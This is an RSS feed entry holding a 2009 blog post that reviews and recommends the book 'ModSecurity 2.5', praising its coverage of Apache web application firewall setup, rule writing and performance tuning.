		<link>http://www.phocean.net/2009/12/10/modsecurity-2-5-review.html</link>
		<comments>http://www.phocean.net/2009/12/10/modsecurity-2-5-review.html#comments</comments>
		<pubDate>Thu, 10 Dec 2009 14:12:56 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Defense]]></category>
		<category><![CDATA[Firewalling]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[IDS / IPS]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Firewall]]></category>
		<category><![CDATA[ModSecurity]]></category>
		<category><![CDATA[Regex]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=555</guid>
		<description><![CDATA[I finished reading the ModSecurity 2.5 book, written by Magnus Mischell and published by Packt Publishing. I found a lot of interest reading it as I was already using ModSecurity &#8211; and I think anyone exposing an Apache web server should. I was actually using it partially. It is not trivial to secure a web [...]]]></description>
			<content:encoded><![CDATA[<p>I finished reading the <strong>ModSecurity 2.5</strong> book, written by <strong>Magnus Mischell</strong> and published by <strong>Packt Publishing</strong>.</p>
<p style="text-align: center;"><a title="Modsecurity 2.5" href="http://www.packtpub.com/modsecurity-2-5/book" target="_blank"><img class="size-full wp-image-521  aligncenter" title="ModSecurity 2.5" src="http://www.phocean.net/wp-content/uploads/2009/11/1847194745.jpg" alt="ModSecurity 2.5" width="200" height="247" /></a></p>
<p>I found a lot of interest reading it as I was already using ModSecurity &#8211; and I think anyone exposing an Apache web server should.<br />
I was actually using it partially. It is not trivial to secure a web application, and the rule engine of ModSecurity is very powerful but it is also quite complex.</p>
<p>So this book was a good opportunity for me to dig into it further.</p>
<p>The book covers all topics : from the set-up to a real use-case.<br />
The author explains how to write rules, how to deal with the performance impact, logging and gives us a range of various core rules to implement to get a good security basis.</p>
<p>The difficulty goes up progressively and the author doesn&#8217;t forget the beginners.<br />
The set-up of the module is precisely described. All requirements are also explained and there are some good recalls about regular expressions, common attacks on systems, server and client sides, and other stuff like that.</p>
<p>After reading the book, I could harden my rules, reorganize and optimize them for better performance &#8211; something I hadn&#8217;t cared about before.</p>
<p>So I have nothing else to say but to recommend this book.<br />
It is definitely <strong>a great handbook about ModSecurity</strong> that&#8217;s worth having next to you. The variety of configuration patterns makes it a reference.</p>
<p>Check it <a title="Modsecurity 2.5" href="http://www.packtpub.com/modsecurity-2-5/book" target="_blank">there</a>. I also appreciated the availability of PDF version, so that I can carry it everywhere with my laptop and index it with Beagle.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2009/12/10/modsecurity-2-5-review.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
